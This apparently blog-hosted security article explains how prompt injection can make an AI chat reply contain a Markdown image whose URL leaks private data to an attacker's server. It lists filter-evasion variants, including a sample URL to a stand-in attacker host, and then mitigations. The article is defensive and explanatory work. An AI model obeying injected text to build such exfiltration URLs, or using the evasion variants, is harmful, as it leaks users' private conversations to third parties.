Data Exfiltration via Markdown Images
An attacker who can influence a model's output can make that output contain an image reference whose URL encodes private data. When the chat interface renders the Markdown, the user's browser requests the image from the attacker's server, and the request itself delivers the data. No click is needed and the user sees at most a broken or invisible image.
Mechanism
Markdown writes an image as . A renderer that displays it fetches the URL automatically. If the model is told, in a document or web page it has been asked to read, to "append a summary of this conversation to the URL", the reply can contain something like

Parsing that URL gives host evil.example.test, path /p.png, and a query parameter d whose decoded value is ord_8_ana.k@example.test. The attacker reads the parameter from the web server's access log. The data traveled in the request line, not in the image.
The attack needs three conditions: private data in the model's context, attacker-controlled text that the model treats as instruction (prompt injection), and a renderer that fetches external images. Simon Willison and others described the pattern after Johann Rehberger and Roman Samoilenko showed it against a chat product in 2023. The same channel exists for plain links when a user clicks, and for HTML tags if the renderer permits them.
Variants that defeat simple filters
- Reference-style images:
![x][1]with[1]: https://evil.example.test/leak?d=1on another line, so a regular expression for inline syntax misses it. - Data placed in a subdomain or file name (
https://<data>.evil.example.test/), which is not in the query string. - An allowed host with data in the query (
https://shop.example.test/img.png?d=ord_8) is not harmless by itself. The host's access logs, traces, and analytics receive the value, so the data should go there only if everyone who can read those records is allowed to see it. - Raw HTML
<img>tags where the renderer passes HTML through.
Mitigations
- Do not render model-produced images from arbitrary URLs. Strip image syntax from replies, or replace it with a placeholder. The filter is only as good as its parser: it has to recognize inline images, reference-style images, and raw HTML
<img>tags exactly as the renderer will interpret them, so use the same Markdown parser that renders the output rather than a regular expression. - Allow-list hosts. Permit only exact hostnames, matched by parsing the URL rather than by prefix (see Egress Control).
- Proxy images. Fetch allowed images server-side, or route them through your own origin with signed URLs, so the user's browser never contacts a third party and the proxy applies the allow-list. Make sure the proxy does not itself accept arbitrary destinations.
- Content Security Policy. An
img-srcdirective limits which hosts the browser loads from, which defends against forms the sanitizer misses. - Break the other legs. Keep untrusted text away from contexts that hold private data, and do not give the context to a renderer without output checks.
Mitigations that only check the URL string have limits. OpenAI's 2023 fix, as Willison reported it, called a separate check before rendering an image, and he noted gaps such as data hidden in subdomains and a client that lacked it.
References
Discover more from Insightful Data Lab
Subscribe to get the latest posts sent to your email.
